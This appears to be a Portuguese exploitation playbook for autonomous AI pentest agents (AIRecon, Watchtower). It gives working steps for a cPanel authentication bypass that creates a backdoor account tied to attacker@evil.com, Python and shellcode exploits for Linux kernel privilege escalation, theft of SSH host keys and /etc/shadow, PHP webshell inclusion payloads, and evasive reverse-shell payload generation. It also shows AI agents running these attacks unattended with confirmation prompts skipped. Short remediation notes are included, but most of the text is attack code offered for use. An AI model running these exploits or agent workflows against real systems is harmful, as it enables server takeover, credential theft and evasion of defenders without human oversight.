# [+] Exploitation complete — full admin access
# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password verify
# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password check-patch
# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/version
# Listar contas
curl -k -H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/listaccts
# Criar conta cPanel
curl -k -X POST \
-H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
-d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
https://TARGET/json-api/createacct
PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1
FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED
DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.
EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]
IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)
# Atualizar cPanel
/scripts/upcp --force
# Verificar versão
/usr/local/cpanel/version
# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"
# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP
/root/.pcode/pocs/cPanel/CVE-2026-41940/VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
A vulnerabilidade está na função __ptrace_may_access() do kernel Linux, que verifica se um processo pode acessar outro processo.
Cadeia de exploração:
__ptrace_may_access() ignora a verificação dumpable quando task->mm == NULLdo_exit() executa exit_mm() (define task->mm = NULL) ANTES de exit_files()pidfd_getfd(2) succeeds quando o uid do caller matches o uid do targetPor que é stealth:
floor: torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)
AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable
1. Acesso local como usuário não-privilegiado
2. Kernel vulnerável (sem patch de 2026-05-14)
3. Para sshkeysign_pwn:
- SSH com EnableSSHKeysign ativado
- ssh-keysign executando como root
4. Para chage_pwn:
- Comando 'chage -l' executando como root via sudo
# 1. Verificar se ssh-keysign está habilitado
grep -i EnableSSHKeysign /etc/ssh/ssh_config
# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make
# 3. Executar exploit
./sshkeysign_pwn
# 4. Verificar chaves roubadas
ls -la /tmp/stolen_keys/
cat /tmp/stolen_keys/ssh_host_ecdsa_key
cat /tmp/stolen_keys/ssh_host_ed25519_key
cat /tmp/stolen_keys/ssh_host_rsa_key
# 5. Pós-exploração: usar chaves para impersonate host
# - Man-in-the-middle em conexões SSH
# - Assinar certificados SSH
# - Acessar trust relationships
Impacto:
# 1. Verificar se chage pode ser executado como root
sudo -l | grep chage
# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make
# 3. Executar exploit (requer que root execute chage -l)
./chage_pwn root
# 4. Verificar shadow roubado
cat /tmp/stolen_shadow
# 5. Quebrar hashes offline
john /tmp/stolen_shadow
hashcat -m 1800 /tmp/stolen_shadow /path/to/wordlist
Impacto:
# 1. Compilar teste
cd /opt/Tools/ssh-keysign-pwn/
make
# 2. Executar teste de vulnerabilidade
./vuln_target
# 3. Interpretar resultado
# - "VULNERABLE" → kernel afetado
# - "NOT VULNERABLE" → kernel patchado
# 1. Enumeração inicial
uname -r # Verificar versão do kernel
cat /etc/os-release # Verificar distribuição
# 2. Testar vulnerabilidade
cd /opt/Tools/ssh-keysign-pwn/
./vuln_target
# 3. Se VULNERABLE, verificar vetores
# SSH Key theft
grep -i EnableSSHKeysign /etc/ssh/ssh_config
# Shadow theft
sudo -l | grep chage
# 4. Explorar vetor disponível
make
./sshkeysign_pwn # OU
./chage_pwn root
# 5. Pós-exploração
# Com SSH host keys:
# - Configurar MITM
# - Assinar certificados falsos
# Com /etc/shadow:
# - Quebrar hashes offline
# - Identificar senhas fracas de admin
# 1. Atualizar kernel (RECOMENDADO)
# Verificar patch de 2026-05-14 ou posterior
# 2. Desabilitar ssh-keysign (se não necessário)
# /etc/ssh/ssh_config:
# EnableSSHKeysign no
# 3. Restringir chage no sudoers
# /etc/sudoers:
# %sudo ALL=(ALL) NOPASSWD: /usr/bin/chage # REMOVER
# 4. Monitorar uso de pidfd_getfd
auditctl -a exit,always -F arch=b64 -S pidfd_getfd
# 5. Kernel hardening (sysctl)
echo "kernel.yama.ptrace_scope = 2" >> /etc/sysctl.d/60-ptrace.conf
FINDING: CVE-2026-46333-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO
DESCRIPTION:
Vulnerabilidade no kernel Linux (__ptrace_may_access dumpable check bypass)
permite roubo de file descriptors de processos root via pidfd_getfd durante
janela de race condition em do_exit().
EXPLOITATION:
- sshkeysign_pwn: roubo de chaves SSH host
- chage_pwn: roubo de /etc/shadow
EVIDENCE:
[vuln_target output]
[sshkeysign_pwn ou chage_pwn output]
[ls -la /tmp/stolen_* output]
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel para versão com patch de 2026-05-14+
/opt/Tools/ssh-keysign-pwn/VULNERABILITY: CVE-2026-31431 (Copy Fail)
SEVERITY: CRITICAL
CVSS: 7.8 (High Privilege Escalation)
AFFECTED: Linux kernels 2017-2026 (commit 72548b093ee3 to a664bf3d603d)
TOOLS: copy_fail_exp.py (732 bytes), exploit_cve_2026_31431.py
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
A vulnerabilidade está no template criptográfico authencesn do kernel Linux, usado pelo IPsec para Extended Sequence Numbers (ESN).
Cadeia de exploração:
AF_ALG + splice() permite que páginas do page cache de arquivos legíveis sejam passadas por referência para o scatterlist de entrada do socket criptográficoalgif_aead.c opera in-place (req->src = req->dst), então o scatterlist de destino contém referências às páginas do page cacheauthencesn faz um scratch-write de 4 bytes (seqno_lo) em dst[assoclen + cryptlen], que atravessa do buffer de output para as páginas do page cache encadeadasPor que é stealth:
floor: torvalds/linux 72548b093ee3 August 2017 (v4.14)
(AF_ALG iov_iter rework - in-place AEAD optimization)
ceiling: torvalds/linux a664bf3d603d April 2026 (mainline)
(reverts in-place optimization)
AFETADOS: Todos kernels entre 2017-2026 sem o patch
- Ubuntu 24.04 LTS: 6.17.0-1007-aws
- Amazon Linux 2023: 6.18.8-9.213.amzn2023
- RHEL 10.1: 6.12.0-124.45.1.el10_1
- SUSE 16: 6.12.0-160000.9-default
- Debian, Arch, Fedora, Rocky, Alma: verificar commit
1. Acesso local como usuário não-privilegiado
2. AF_ALG socket family disponível (padrão em todas distros)
3. Módulo algif_aead carregado
4. Alvo legível: /usr/bin/su (setuid) ou /etc/passwd (world-readable)
5. Python 3.10+ (para os.splice) OU Go static binary
# copy_fail_exp.py - 732 bytes
import os, zlib, socket
def write4(f, offset, data):
s = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279, 1, bytes.fromhex("0800010000000010" + "0"*64)) # key
s.setsockopt(279, 5, None, 4) # authsize
u, _ = s.accept()
# AAD: bytes 4-7 = valor a escrever (seqno_lo)
u.sendmsg([b"A"*4 + data], [...], 32768) # MSG_MORE
# Splice do arquivo para pipe, depois para socket
r, w = os.pipe()
os.splice(f, w, offset+4, offset_src=0)
os.splice(r, u.fileno(), offset+4)
try: u.recv(8+offset) # trigger
except: pass
# Exploração
f = os.open("/usr/bin/su", os.O_RDONLY)
shellcode = zlib.decompress(payload) # shellcode descomprimido
for i in range(0, len(shellcode), 4):
write4(f, i, shellcode[i:i+4])
os.system("su") # executa su corrompido
# exploit_cve_2026_31431.py - modifica UID para 0000
# Mais confiável que injetar shellcode
# 1. Encontrar offset do UID no /etc/passwd
# Formato: username:x:UID:GID:comment:home:shell
# Ex: testuser:x:1000:1000:Test User:/home/testuser:/bin/bash
# ^^^^ <- offset do UID (4 bytes)
# 2. Escrever "0000" no offset do UID
write4("/etc/passwd", uid_offset, b"0000")
# 3. Verificar via libc
import pwd
pwent = pwd.getpwnam("testuser")
print(f"pw_uid = {pwent.pw_uid}") # Deve ser 0
# 4. Executar su para root shell
os.execvp("su", ["su", "testuser"])
# PAM valida senha contra /etc/shadow (intacto)
# setuid(0) concede root
# STEP 1: Detectar vulnerabilidade (safe, non-destructive)
python3 test_cve_2026_31431.py
# Exit 0 = NOT vulnerable
# Exit 2 = VULNERABLE
# Exit 1 = test error
# STEP 2: Explorar (escolher abordagem)
# Abordagem A: /etc/passwd UID modification (mais confiável)
python3 exploit_cve_2026_31431.py --shell
# Modifica page cache do /etc/passwd
# Executa su <user> automaticamente
# Digite sua senha para root shell
# Abordagem B: /usr/bin/su shellcode injection
python3 copy_fail_exp.py
# Injeta shellcode diretamente no su
# Executa su corrompido
# STEP 3: Pós-exploração
id # uid=0(root) gid=1000(user)
whoami # root
# STEP 4: Limpeza (restaurar page cache)
# Da root shell:
echo 3 > /proc/sys/vm/drop_caches
# OU sem root (evict page):
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
Arquitetura | Shellcode (zlib compressed hex)
-----------|----------------------------------
amd64 | 78daab77f57163626464800126063b...
i386 | 78daab77f571636464648001260666...
arm64 | 78daab77f5716362646480012686ed...
; amd64 - execve("/bin/sh", NULL, NULL)
xor eax, eax
xor edi, edi
mov al, 0x69 ; sys_setuid
syscall
lea rdi, [rel sh]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
sh: db "/bin/sh", 0
# Imediato: desabilitar módulo algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null
# Permanente: atualizar kernel
# Patch commit: a664bf3d603d
# Distro packages: verificar changelog
# Container/Kubernetes: seccomp profile
# Bloquear AF_ALG socket creation
FINDING: CVE-2026-31431-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: CRITICAL
CVSS: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO
DESCRIPTION:
Vulnerabilidade no kernel Linux (authencesn + AF_ALG + splice)
permite write controlado de 4 bytes no page cache de qualquer
arquivo legível. Exploração concede root via /etc/passwd ou
/usr/bin/su corruption.
EVIDENCE:
[test_cve_2026_31431.py output]
[id output após exploração]
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel ou desabilitar algif_aead
Após completar esta fase, prossiga para pentest_post-exploitation (PTES Section 5)
AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante exploitation para automatizar geração de payloads, execução de exploits, e validação de acesso.
# AIRecon com keywords de exploitation
airecon "pentest exploitation cve-2026-41940 cpanel bypass"
# AIRecon detectará keywords e carregará:
# - pentest-exploitation.md (skill primária)
# - pentest-post-exploitation.md (para pós-exploração)
# - MCP tools: boaz (payload generation), hexstrike (metasploit, sqlmap)
# Para Linux LPE exploitation:
airecon "pentest exploitation cve-2026-31431 linux privilege escalation"
airecon "pentest exploitation cve-2026-46333 ssh-keysign-pwn"
# Para AWS privilege escalation:
airecon "pentest exploitation aws iam privilege escalation worstassume"
# SQL Injection exploitation
/sqli-test --target https://target.com/page?id=1 --exploit
# Network exploitation
/naabu-scan --target target.com --exploit-ports 22,80,443
# Webshell detection (post-exploitation)
/webshell-detect --target /var/www/html --recursive
# API key harvesting (post-exploitation)
/api-keys --target ./src --recursive --extract
Durante exploitation, AIRecon pode invocar MCP tools automaticamente:
# boaz: Advanced payload generation with evasion
airecon "generate evasive payload for Windows 11 + Defender"
# → Usará mcp__boaz__generate_payload
airecon "list available boaz loaders"
# → Usará mcp__boaz__list_loaders
# hexstrike-local: Exploitation tools
airecon "run metasploit exploit multi/handler"
# → Usará mcp__hexstrike-local__metasploit_run
airecon "generate msfvenom payload windows/x64/shell_reverse_tcp"
# → Usará mcp__hexstrike-local__msfvenom_generate
airecon "run sqlmap exploit on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan
# pentestswarm-remote: Automated exploitation campaigns
airecon "start exploitation campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign
# cve-mcp: Exploit availability checking
airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability
airecon "generate exploit from CVE-2026-41940"
# → Usará mcp__hexstrike-local__generate_exploit_from_cve
# 1. Usar AIRecon para carregar exploitation skill
airecon "pentest exploitation target.com"
# 2. AIRecon auto-carrega pentest-exploitation.md
# 3. Gerar payload evasivo com BOAZ via AIRecon
airecon "boaz generate payload --input shell.exe --loader 1 --evasion advanced"
# 4. Executar Metasploit handler via AIRecon
airecon "metasploit use exploit/multi/handler --payload windows/x64/shell_reverse_tcp"
# 5. AIRecon monitora sessão e reporta sucesso
# 6. Exportar exploitation evidence
airecon "export exploitation evidence to JSON"
# 1. Detectar cPanel via AIRecon
airecon "shodan search product:cpanel port:2087"
# 2. Verificar exploit availability
airecon "check exploit availability CVE-2026-41940"
# 3. Executar PoC de detecção
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py detect"
# 4. Se vulnerável, explorar
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py exploit"
# 5. Verificar acesso
airecon "verify cpanel root access"
# 6. Exportar evidence
airecon "export cpanel exploitation evidence"
# 1. Detectar kernel vulnerability
airecon "test CVE-2026-31431 vulnerability"
# 2. Se vulnerável, explorar
airecon "exploit CVE-2026-31431 --method passwd-uid"
# 3. Verificar root access
airecon "verify root access"
# 4. Pós-exploração automática
airecon "post-exploitation enumeration"
# 5. Limpeza (restaurar page cache)
airecon "restore page cache /etc/passwd"
| Keywords Detectadas | Skills Carregadas | MCP Tools Ativados |
|---|---|---|
exploit cve | pentest-exploitation | cve-mcp, hexstrike (metasploit) |
payload shellcode | pentest-exploitation | boaz, hexstrike (msfvenom) |
cpanel whm | pentest-exploitation | cve-mcp (CVE-2026-41940) |
linux lpe kernel | pentest-exploitation | hexstrike (pwntools) |
aws iam privesc | pentest-exploitation | worstassume, hexstrike |
pfsense firewall | pentest-pfsense, pentest-exploitation | cve-mcp, hexstrike |
# AIRecon gera payloads evasivos automaticamente
airecon "boaz generate --input shell.exe --output evasive.exe"
# Opções de evasão disponíveis:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Syscall whisper
# - Junk code insertion
# - Anti-emulation checks
# - Self-deletion
# AIRecon seleciona técnicas baseado no target:
# Windows 11 + Defender → Evasão avançada
# Windows Server → Evasão moderada
# Linux → ELF payload com técnicas similares
# AIRecon executa attack chains automaticamente
airecon "execute attack chain PassRole+Lambda→StealRole"
# Steps executados:
# 1. Identify high-privilege role
# 2. Create Lambda function with role
# 3. Inject credential exfiltration code
# 4. Invoke function
# 5. Collect credentials from output
# 6. Validate access with new credentials
# AIRecon reporta cada step e exporta evidências
Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza exploitation workflows usando 23 ferramentas de segurança.
# Exploitation scanning com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de exploitation
# - Worker Agent: Executa ferramentas de exploração
# - Analyst Agent: Valida explorações bem-sucedidas
# Exploitation focado em SQL injection
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# Exploitation focado em XSS
python -m watchtower.main -t https://www.example.com \
--focus xss \
--skip-ask-tools
# CMS-specific exploitation
python -m watchtower.main -t https://www.example.com \
--focus wordpress \
--skip-ask-tools
# SQL injection exploitation
/watchtower-exploit --target https://www.example.com --type sqli
# XSS exploitation
/watchtower-exploit --target https://www.example.com --type xss
# WordPress exploitation
/watchtower-exploit --target https://www.example.com --cms wordpress
# Authentication bypass testing
/watchtower-exploit --target https://www.example.com --type auth-bypass
# File inclusion testing
/watchtower-exploit --target https://www.example.com --type lfi
Watchtower integra-se com MCP tools automaticamente durante exploitation:
# hexstrike-local: Exploitation tools
# - sqlmap_scan: SQL injection detection + exploitation
# - dalfox_xss_scan: Advanced XSS exploitation
# - xsser_scan: Comprehensive XSS testing
# - wpscan_analyze: WordPress exploitation
# - jaeles_vulnerability_scan: Signature-based exploitation
# - msfvenom_generate: Payload generation
# - metasploit_run: Metasploit module execution
# BOAZ integration for payload generation
# - generate_payload: Evasive Windows payloads
# - list_loaders: Available loader modules
# - list_outputs: Generated payloads
# pentestswarm-remote: Exploitation campaigns
# - start_campaign: Stateful exploitation campaign
# - get_campaign_findings: Exploitation results
# cve-mcp: Exploit intelligence
# - check_exploit_availability: Public exploits
# - get_cve_summary: CVE details for targeting
# 1. Watchtower detecta SQL injection
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# 2. Watchtower executa:
# - sqlmap: SQLi detection + exploitation
# - nuclei: SQLi templates
# - jaeles: SQLi signatures
# 3. Se SQLi confirmado:
# - Database enumeration
# - Credential extraction
# - OS command execution (se --os-shell)
# 4. Watchtower Analyst valida sucesso
# 5. Relatório PDF com evidências
python -m watchtower.main --report "sqli_exploitation_report.pdf"
# 1. Watchtower detecta XSS
python -m watchtower.main -t https://www.example.com \
--focus xss \
--skip-ask-tools
# 2. Watchtower executa:
# - dalfox: Advanced XSS scanning
# - xsstrike: XSS detection + payload gen
# - xsser: Comprehensive XSS testing
# 3. Tipos de XSS detectados:
# - Reflected XSS
# - Stored XSS
# - DOM-based XSS
# - Blind XSS
# 4. Payloads geradas automaticamente
# 5. Proof-of-concept URLs geradas
# 1. Watchtower detecta WordPress
python -m watchtower.main -t https://www.example.com \
--focus wordpress \
--skip-ask-tools
# 2. Watchtower executa:
# - wpscan: WordPress vulnerability scanning
# - Plugin enumeration + CVE matching
# - Theme enumeration
# - User enumeration
# - Version detection
# 3. Vulnerabilidades verificadas:
# - Core WordPress CVEs
# - Plugin vulnerabilities
# - Theme vulnerabilities
# - Weak credentials
# 4. Se vulnerável:
# - Exploitation automática (se PoC disponível)
# - Credential stuffing
# - Plugin/theme exploit execution
# Watchtower explora pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
# Exploits verificados automaticamente:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
# Se exploit bem-sucedido:
# - Watchtower Analyst valida acesso
# - Command execution confirmada
# - Evidências capturadas
# - Incluído no relatório PDF
# Watchtower explora cPanel CVE-2026-41940
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools
# Exploitation workflow:
# 1. whatweb: cPanel version detection
# 2. cve-mcp: CVE-2026-41940 verification
# 3. Exploit execution (poc.py)
# 4. Access validation
# Se exploit bem-sucedido:
# - Authentication bypass confirmado
# - Admin access obtido
# - Watchtower categoriza como CRITICAL
# - Evidências capturadas automaticamente
| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---|---|---|
sqli sql injection | pentest-exploitation | sqlmap, nuclei |
xss | pentest-exploitation | dalfox, xsstrike, xsser |
wordpress wp | pentest-exploitation | wpscan |
lfi rfi | pentest-exploitation | nuclei, jaeles |
auth bypass | pentest-exploitation | nuclei, http_repeater |
rce command injection | pentest-exploitation | nuclei, jaeles |
pfsense | pentest-pfsense | cve-mcp, nuclei |
cpanel whm | pentest-exploitation | cve-mcp (CVE-2026-41940) |
payload shell | pentest-exploitation | msfvenom, boaz |
| Tool | Category | Exploitation Type | Success Rate |
|---|---|---|---|
| sqlmap | SQL Injection | SQLi detection + exploitation | High |
| dalfox | XSS | Reflected, stored, DOM XSS | High |
| xsstrike | XSS | XSS + payload generation | High |
| xsser | XSS | Comprehensive XSS testing | Moderate |
| wpscan | CMS | WordPress exploitation | High |
| nuclei | Vuln Exploitation | CVE exploitation templates | Moderate |
| jaeles | Signature-based | Web app exploitation | Moderate |
| msfvenom | Payload Gen | Custom payload generation | N/A |
| metasploit | Exploitation Framework | Module execution | High |
| boaz | Payload Gen | Evasive Windows payloads | High |
# Watchtower usa BOAZ para payload generation:
# 1. Generate evasive payload
mcp__boaz__generate_payload(
input_file="shell.exe",
loader=1,
shellcode_type="inject",
encoding="base64",
compiler="gcc",
sleep_obf=True,
anti_emulation=True,
etw_patch=True,
junk_api=True,
api_unhooking=True
)
# 2. List available loaders
mcp__boaz__list_loaders()
# 3. List generated outputs
mcp__boaz__list_outputs()
# Payload features:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Anti-emulation
# - Junk code insertion
# - Self-deletion
┌─────────────────────────────────────────────────────────────┐
│ Watchtower Exploitation Workflow │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌─────────────────┐ ┌───────────────┐
│ Detection │ │ Exploitation │ │ Validation │
│ │ │ │ │ │
│ - sqlmap │ │ - sqlmap --os- │ │ - Analyst │
│ - dalfox │ │ shell │ │ validates │
│ - wpscan │ │ - dalfox --blind│ │ - Evidence │
│ - nuclei │ │ - nuclei exploit│ │ captured │
└───────────────┘ └─────────────────┘ └───────────────┘
# 1. AIRecon para exploitation planning
airecon "plan exploitation for target.com SQL injection"
# 2. Watchtower para automated exploitation
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# 3. AIRecon para análise de resultados
airecon "analyze watchtower exploitation results"
# 4. AIRecon + BOAZ para payload generation
airecon "generate evasive payload for Windows 11 + Defender"
# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "exploitation_report.pdf"
# Watchtower integra com Metasploit via MCP tools:
# 1. Search for relevant module
airecon "search metasploit module for CVE-2021-44228"
# 2. Execute module via Watchtower
python -m watchtower.main -t https://www.example.com \
--metasploit-module exploit/multi/http/log4shell \
--skip-ask-tools
# 3. Watchtower Analyst valida sucesso
# 4. Session information captured
# Watchtower testa authentication bypass automaticamente
python -m watchtower.main -t https://www.example.com \
--focus auth-bypass \
--skip-ask-tools
# Técnicas testadas:
# - SQL injection em login forms
# - Default credentials
# - Session manipulation
# - JWT token bypass
# - 2FA bypass attempts
# - Password reset abuse
# Se bypass bem-sucedido:
# - Watchtower Analyst valida acesso
# - Captura evidências
# - Categoriza por severidade
# Watchtower testa LFI/RFI automaticamente
python -m watchtower.main -t https://www.example.com \
--focus lfi \
--skip-ask-tools
# Vulnerabilidades testadas:
# - Local File Inclusion (LFI)
# - Remote File Inclusion (RFI)
# - Path Traversal
# - File Upload bypass
# Payloads usadas:
# - ../../../etc/passwd
# - php://filter/convert.base64-encode
# - data://text/plain,<?php system($_GET['c']); ?>
# - file:///etc/passwd
# JSON output para integração
python -m watchtower.main -t target.com \
--output json \
--skip-ask-tools \
-o exploitation_findings.json
# PDF report automático
python -m watchtower.main -t target.com \
--report "exploitation_report.pdf" \
--skip-ask-tools
# Evidence capture:
# - Screenshots de sucesso
# - Command output logs
# - Session information
# - Credential dumps
Watchtower Analyst valida explorações bem-sucedidas:
Validation Criteria:
1. Expected response pattern match
2. Command execution confirmation
3. Data exfiltration success
4. Session establishment
5. Error message analysis
Success Indicators:
- SQLi: Database version, user, tables extracted
- XSS: Alert executed, cookie stolen
- RCE: Command output returned
- Auth Bypass: Admin access confirmed
- LFI: File contents disclosed
# 1. WorstAssume identifica attack chains
worst assess --min-severity HIGH --output json > worst_findings.json
# 2. Watchtower para exploitation externa
python -m watchtower.main -t https://external-target.com \
--skip-ask-tools
# 3. Consolidar findings
# WorstAssume: IAM privilege escalation chains
# Watchtower: External exploitation success
airecon "merge worstassume attack chains with watchtower exploits"
# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_exploitation_report.pdf"
# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "exploitation_report.pdf"
# Relatório inclui:
# - Executive Summary
# - Exploitation Summary by Type
# - Successful Exploits (with evidence)
# - Failed Attempts
# - Risk Matrix
# - CVE Details (se aplicável)
# - Technical Findings
# - Remediation Recommendations
# - Evidence Appendices (screenshots, logs)
# - References (Exploit-DB, GitHub, vendor advisories)
Watchtower implementa retry logic e fallback automático:
Se exploração falha:
1. Retry com payload alternativo
2. Fallback para ferramenta alternativa:
- sqlmap falha → nuclei SQLi templates
- dalfox falha → xsstrike
- wpscan falha → nuclei WordPress templates
3. Reporta falha após 3 retries
4. Continua com próximas explorações